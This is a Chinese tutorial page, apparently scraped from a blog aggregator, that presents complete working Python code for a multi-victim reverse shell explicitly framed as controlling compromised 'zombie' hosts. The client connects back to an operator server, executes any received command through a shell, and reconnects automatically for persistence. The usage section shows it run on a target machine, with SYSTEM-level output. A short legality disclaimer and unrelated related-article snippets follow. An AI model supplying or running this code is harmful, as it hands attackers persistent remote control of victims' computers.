Python实例题:Python3实现可控制肉鸡的反向Shell

目录

Python实例题

题目

代码实现

reverse_shell_client.py

reverse_shell_server.py

实现原理

反向连接机制:

命令执行与传输:

功能特点:

关键代码解析

服务端命令处理

客户端命令执行

客户端持久化连接

使用说明

启动服务端:

启动客户端(在目标机器上):

服务端操作:

注意事项

合法性:

安全风险:

改进建议:

Python实例题

题目

Python3实现可控制肉鸡的反向Shell

代码实现

reverse_shell_client.py

import socket
import subprocess
import os
import sys
import platform
import threading
import timeclass ReverseShellClient:def __init__(self, server_host, server_port):self.server_host = server_hostself.server_port = server_portself.client = Noneself.connected = Falseself.system_info = f"{platform.system()} {platform.release()} ({platform.machine()})"def connect(self):"""连接到服务端"""try:self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.client.connect((self.server_host, self.server_port))self.connected = True# 发送系统信息self.client.send(self.system_info.encode())print(f"[+] 已连接到服务端: {self.server_host}:{self.server_port}")# 启动接收命令的线程command_thread = threading.Thread(target=self.receive_commands)command_thread.daemon = Truecommand_thread.start()# 保持主线程运行while self.connected:time.sleep(1)except Exception as e:print(f"[-] 连接失败: {e}")self.disconnect()def receive_commands(self):"""接收并执行服务端发送的命令"""while self.connected:try:command = self.client.recv(1024).decode()if command.lower() == "exit":self.disconnect()breakif command:# 执行命令并获取输出output = self.execute_command(command)# 发送输出到服务端self.client.send(output.encode())except Exception as e:print(f"[-] 接收命令失败: {e}")self.disconnect()breakdef execute_command(self, command):"""执行命令并返回输出"""try:# 处理cd命令if command.startswith("cd "):directory = command[3:].strip()if os.path.exists(directory) and os.path.isdir(directory):os.chdir(directory)return f"已切换到目录: {os.getcwd()}"else:return f"目录不存在: {directory}"# 执行其他命令output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)return output.decode(errors="ignore")except Exception as e:return str(e)def disconnect(self):"""断开与服务端的连接"""self.connected = Falseif self.client:self.client.close()self.client = Noneprint("[+] 已断开连接")if __name__ == "__main__":if len(sys.argv) != 3:print(f"用法: {sys.argv[0]} <服务端地址> <服务端端口>")sys.exit(1)server_host = sys.argv[1]server_port = int(sys.argv[2])# 持久化连接(尝试在断开后重新连接)while True:client = ReverseShellClient(server_host, server_port)client.connect()print(f"[+] 尝试在10秒后重新连接...")time.sleep(10)    

reverse_shell_server.py

import socket
import threading
import sys
import os
import timeclass ReverseShellServer:def __init__(self, host, port):self.host = hostself.port = portself.server = Noneself.clients = {}  # 存储已连接的客户端self.client_id = 0  # 客户端ID计数器def start(self):"""启动服务端"""try:self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.server.bind((self.host, self.port))self.server.listen(5)print(f"[+] 服务端已启动,监听地址: {self.host}:{self.port}")# 启动接受客户端连接的线程accept_thread = threading.Thread(target=self.accept_connections)accept_thread.daemon = Trueaccept_thread.start()# 启动命令行界面self.command_interface()except Exception as e:print(f"[-] 启动服务端失败: {e}")if self.server:self.server.close()sys.exit(1)def accept_connections(self):"""接受客户端连接"""while True:try:client_socket, client_address = self.server.accept()print(f"[+] 新连接来自: {client_address}")# 为新客户端分配IDself.client_id += 1client_info = {"socket": client_socket,"address": client_address,"id": self.client_id}self.clients[self.client_id] = client_info# 启动处理客户端命令的线程client_thread = threading.Thread(target=self.handle_client, args=(client_info,))client_thread.daemon = Trueclient_thread.start()except Exception as e:print(f"[-] 接受连接失败: {e}")def handle_client(self, client_info):"""处理客户端命令和响应"""client_id = client_info["id"]client_socket = client_info["socket"]try:# 获取客户端系统信息client_info["system_info"] = client_socket.recv(1024).decode()print(f"[+] 客户端 {client_id} 系统信息: {client_info['system_info']}")while True:# 如果当前选中该客户端,则等待命令输入if self.current_client == client_id:command = input(f"[客户端 {client_id}] $ ")if command.lower() == "exit":client_socket.send(command.encode())breakif command.lower() == "back":self.current_client = Nonecontinueif command:client_socket.send(command.encode())response = client_socket.recv(4096).decode()print(response)else:# 否则等待一小段时间再检查time.sleep(0.1)except Exception as e:print(f"[-] 与客户端 {client_id} 通信失败: {e}")finally:# 关闭连接并从客户端列表中移除client_socket.close()if client_id in self.clients:del self.clients[client_id]print(f"[+] 客户端 {client_id} 连接已关闭")def command_interface(self):"""命令行界面"""self.current_client = Nonewhile True:try:if self.current_client is None:command = input("[主控制台] $ ").strip().lower()if command == "list":self.list_clients()elif command.startswith("select "):try:client_id = int(command.split()[1])if client_id in self.clients:self.current_client = client_idprint(f"[+] 已选中客户端 {client_id}")else:print("[-] 无效的客户端ID")except ValueError:print("[-] 客户端ID必须是整数")elif command == "exit":# 关闭所有客户端连接for client_id in list(self.clients.keys()):try:self.clients[client_id]["socket"].send("exit".encode())self.clients[client_id]["socket"].close()except:passdel self.clients[client_id]self.server.close()print("[+] 服务端已关闭")breakelif command == "help":self.print_help()else:print("[-] 未知命令。输入 'help' 获取帮助。")except KeyboardInterrupt:print("\n[-] 检测到Ctrl+C,输入 'exit' 退出")def list_clients(self):"""列出所有已连接的客户端"""print("[+] 已连接的客户端:")print("ID\t地址\t\t系统信息")print("-" * 50)for client_id, client_info in self.clients.items():addr = f"{client_info['address'][0]}:{client_info['address'][1]}"sys_info = client_info.get("system_info", "未知")print(f"{client_id}\t{addr}\t{sys_info}")def print_help(self):"""打印帮助信息"""print("可用命令:")print("  list               - 列出所有已连接的客户端")print("  select <id>        - 选择要控制的客户端")print("  exit               - 退出程序")print("  help               - 显示此帮助信息")print("\n客户端控制模式下的命令:")print("  任何命令           - 在客户端执行命令")print("  back               - 返回主控制台")print("  exit               - 关闭与客户端的连接")if __name__ == "__main__":if len(sys.argv) != 3:print(f"用法: {sys.argv[0]} <监听地址> <监听端口>")sys.exit(1)host = sys.argv[1]port = int(sys.argv[2])server = ReverseShellServer(host, port)server.start()    

实现原理

这个反向 Shell 工具基于以下核心技术实现:

  • 反向连接机制

    • 客户端主动连接到服务端
    • 适合在目标主机位于防火墙后或 NAT 设备之后的情况
    • 服务端可以同时管理多个客户端连接
  • 命令执行与传输

    • 服务端发送命令到客户端
    • 客户端执行命令并返回结果
    • 使用线程处理多个客户端连接
  • 功能特点

    • 支持多客户端管理
    • 获取客户端系统信息
    • 支持基本文件操作(cd 命令)
    • 断线自动重连(客户端)

关键代码解析

服务端命令处理

def handle_client(self, client_info):client_id = client_info["id"]client_socket = client_info["socket"]try:client_info["system_info"] = client_socket.recv(1024).decode()print(f"[+] 客户端 {client_id} 系统信息: {client_info['system_info']}")while True:if self.current_client == client_id:command = input(f"[客户端 {client_id}] $ ")if command.lower() == "exit":client_socket.send(command.encode())breakif command.lower() == "back":self.current_client = Nonecontinueif command:client_socket.send(command.encode())response = client_socket.recv(4096).decode()print(response)else:time.sleep(0.1)except Exception as e:print(f"[-] 与客户端 {client_id} 通信失败: {e}")finally:client_socket.close()if client_id in self.clients:del self.clients[client_id]print(f"[+] 客户端 {client_id} 连接已关闭")

客户端命令执行

def execute_command(self, command):try:# 处理cd命令if command.startswith("cd "):directory = command[3:].strip()if os.path.exists(directory) and os.path.isdir(directory):os.chdir(directory)return f"已切换到目录: {os.getcwd()}"else:return f"目录不存在: {directory}"# 执行其他命令output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)return output.decode(errors="ignore")except Exception as e:return str(e)

客户端持久化连接

# 持久化连接(尝试在断开后重新连接)
while True:client = ReverseShellClient(server_host, server_port)client.connect()print(f"[+] 尝试在10秒后重新连接...")time.sleep(10)

使用说明

启动服务端

python3 reverse_shell_server.py 0.0.0.0 9999

启动客户端(在目标机器上):

python3 reverse_shell_client.py <服务端IP> 9999

服务端操作

[主控制台] $ list
[+] 已连接的客户端:
ID	地址		系统信息
--------------------------------------------------
1	192.168.1.100:54321	Windows 10 (AMD64)[主控制台] $ select 1
[+] 已选中客户端 1
[客户端 1] $ whoami
nt authority\system
[客户端 1] $ dirVolume in drive C has no label.Volume Serial Number is 1234-5678Directory of C:\Users\Administrator01/01/2023  08:00 AM    <DIR>          .
01/01/2023  08:00 AM    <DIR>          ..
01/01/2023  08:00 AM             1,234 document.txt
...

注意事项

  • 合法性

    • 此工具仅用于合法的安全测试和授权的渗透测试
    • 在使用前必须获得系统所有者的明确授权
    • 未经授权使用此工具可能违反法律
  • 安全风险

    • 此工具可能被用于恶意目的
    • 请妥善保管,避免未授权访问
    • 建议在受控环境中测试
  • 改进建议

    • 添加加密通信(SSL/TLS)
    • 实现命令历史记录
    • 添加文件上传 / 下载功能
    • 实现更复杂的权限控制
    • 添加心跳机制检测连接状态

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/diannao/84425.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AWS EC2 使用Splunk DB connect 连接 RDS mysql

1: 先创建 RDS mysql: 我们选择free: 选择free 过后,自动生成single instance, 没有垮AZ 的db 设置。 选择密码登入: 注意:上面设置密码的时候,特别提示:不能有特殊字符,我就设置了: mypassword 下面可以选择通过EC2 连接,当然也可以不选:

SAP重塑云ERP应用套件

在2025年Sapphire大会上&#xff0c;SAP正式发布了其云ERP产品的重塑计划&#xff0c;推出全新“Business Suite”应用套件&#xff0c;并对供应链相关应用进行AI增强升级。这一变革旨在简化新客户进入SAP生态系统的流程&#xff0c;同时为现有客户提供更加统一、智能和高效的业…

初识 RocketMQ 知识总结:基础概念、架构解析、核心特性与应用场景

Apache RocketMQ 是一款由阿里巴巴开源的分布式消息中间件&#xff0c;具有高吞吐量、低延迟、高可靠性等特点&#xff0c;广泛应用于互联网、金融、电商等领域。以下从多个维度对 RocketMQ 进行全面解析&#xff1a; 一、RocketMQ 基础概念 1. 定义与定位 分布式消息中间件…

[特殊字符] UI-Trans:字节跳动发布的多模态 UI 转换大模型工具,重塑界面智能化未来

2025 年&#xff0c;字节跳动&#xff08;ByteDance&#xff09;发布了革命性的多模态 UI 转换模型 —— UI-Trans&#xff0c;引发了业界广泛关注。作为一款融合视觉理解、语义分析与用户交互意图解析的 AI 工具&#xff0c;UI-Trans 在多个领域展现出强大能力&#xff0c;正在…

这个方法关闭PowerBI账户的安全默认值

这个方法关闭PowerBI账户的安全默认值 如果PowerBI账户是在 2019 年 10 月 22 日当天或之后创建的&#xff0c;则可能会自动启用安全默认值&#xff0c;登录账户会弹出弹框&#xff0c;如图&#xff1a; 使用四步就可以关闭此弹框的提示&#xff1a; 第一步&#xff1a;转到 A…

【Linux】磁盘空间不足

错误提示: no space left on device 经典版&#xff08;block占用&#xff09; 模拟 dd if/dev/zero of/var/log/nginx.log bs1M count2000排查 #1. df -h 查看哪里空间不足,哪个分区#2. du -sh详细查看目录所占空间 du -sh /* 排查占用空间大的目录 du -sh /var/* du…

计算机视觉---YOLOv2

YOLOv2讲解 一、YOLOv2 整体架构与核心特性 YOLOv2&#xff08;You Only Look Once v2&#xff09;于2016年发布&#xff0c;全称为 YOLO9000&#xff08;因支持9000类目标检测&#xff09;&#xff0c;在YOLOv1基础上进行了多项关键改进&#xff0c;显著提升了检测精度和速度…

【深度学习】1. 感知器,MLP, 梯度下降,激活函数,反向传播,链式法则

一、感知机 对于分类问题&#xff0c;我们设定一个映射&#xff0c;将x通过函数f(x)映射到y 1. 感知机的基本结构 感知机&#xff08;Perceptron&#xff09;是最早期的神经网络模型&#xff0c;由 Rosenblatt 在 1958 年提出&#xff0c;是现代神经网络和深度学习模型的雏形…

IP、子网掩码、默认网关、DNS

IP、子网掩码、默认网关、DNS 1. 概述1.1 windows配置处 2.IP 地址&#xff08;Internet Protocol Address&#xff09;2.1 公网ip2.2 内网ip2.3 &#x1f310; 公网 IP 与内网 IP 的关系&#xff08;NAT&#xff09; 3. 子网掩码&#xff08;Subnet Mask&#xff09;4. 默认网…

Azure 公有云基础架构与核心服务:从基础到实践指南

&#x1f525;「炎码工坊」技术弹药已装填&#xff01; 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、基础概念 Azure 的基础架构由多个核心组件构成&#xff0c;理解这些概念是掌握其技术框架的第一步&#xff1a; 地理区域&#xff08;Geographic R…

Ajax01-基础

一、AJAX 1.AJAX概念 使浏览器的XMLHttpRequest对象与服务器通信 浏览器网页中&#xff0c;使用 AJAX技术&#xff08;XHR对象&#xff09;发起获取省份列表数据的请求&#xff0c;服务器代码响应准备好的省份列表数据给前端&#xff0c;前端拿到数据数组以后&#xff0c;展…

使用防火墙禁止程序联网(这里禁止vscode)

everything搜一下Code.exe的安装路径&#xff1a;D:\downloadApp1\vscode\Microsoft VS Code\Code.exe 方法&#xff1a;使用系统防火墙&#xff08;推荐&#xff09; Windows 通过防火墙阻止 VS Code&#xff1a; 打开 Windows Defender 防火墙&#xff08;控制面板 > 系统…

微信小程序 隐私协议弹窗授权

开发微信小程序的第一步往往是隐私协议授权&#xff0c;尤其是在涉及用户隐私数据时&#xff0c;必须确保用户明确知晓并同意相关隐私政策。我们才可以开发后续的小程序内容。友友们在按照文档开发时可能会遇到一些问题&#xff0c;我把所有的授权方法和可能遇到的问题都整理出…

JVM规范之栈帧

JVM规范之栈帧 前言正文概述局部变量表操作数栈动态链接 总结参考链接 前言 上一篇文章了解了JVM规范中的运行时数据区&#xff1a; JVM规范之运行时数据区域 其中&#xff0c;栈是JVM线程私有的内存区&#xff0c;栈中存储的单位是帧&#xff08;frames&#xff09;&#xff…

SGMD辛几何模态分解

SGMD辛几何模态分解 运行包含频谱图相关系数图 Matlab语言 算法近几年刚提出&#xff0c;知网还没几个人用&#xff0c;你先用&#xff0c;你就是创新&#xff01; 算法新颖小众&#xff0c;用的人很少&#xff0c;包含分解图、频谱图、相关系数图&#xff0c;效果如图所示&a…

计算机网络总结(物理层,链路层)

目录 第一章 概述 1.基本概念 2.- C/S模式&#xff0c;B/S模式&#xff0c;P2P模式 3.- LAN,WAN,MAN,PAN的划分 4.电路交换与分组交换&#xff0c;数据报交换和虚电路交换 第二章 物理层 1.信号编码&#xff1a;不归零编码&#xff0c;曼切斯特编码 2.几种复用技术的特…

台系厂商SSD主控之争:Phison对决SMI

近日&#xff0c;台系SSD主控厂商Phison和Silicon Motion之间围绕主控性能的争论引发关注&#xff0c;焦点集中在Gen5 SSD的功耗和速度等关键指标上。 Phison的E28 Gen5 SSD控制器已推出一段时间&#xff0c;是市场上一些最快存储设备的“心脏”。其主要竞争对手Silicon Motion…

医学影像科研概述与研究伦理

关键要点 医学影像科研通过开发和优化影像技术(如X射线、CT、MRI等)推动疾病诊断和治疗进步。研究需遵循核心伦理原则:受益(为患者和社会带来益处)、无害(避免伤害)、自主(尊重患者选择权)和公正(公平对待参与者)。医学影像科研的特殊伦理问题包括知情同意、隐私保护…

使用 kafka-console-consumer.sh 指定时间或偏移量消费

1、问题来源 在工作中需要观察上游生产的数据顺序和自己写的任务处理数据的顺序是否一致&#xff0c;尝尝需要将kafka中的指定时间或者偏移量开始的数据导出来分析&#xff0c;如果每次都导数据都是从头开消费导全量&#xff0c;往往少则几个G多则几十G的数据&#xff0c;导出…

构建Harbor私有镜像库

软硬件环境清单 环境搭建 部署Euler22.0系统&#xff0c;连接xshell&#xff1a; 关闭防火墙和selinux&#xff0c;设置主机名&#xff1a; systemctl stop firewalld systemctl disable firewalld vi /etc/selinux/config hostnamectl set-hostname harbor reboot 修改静态…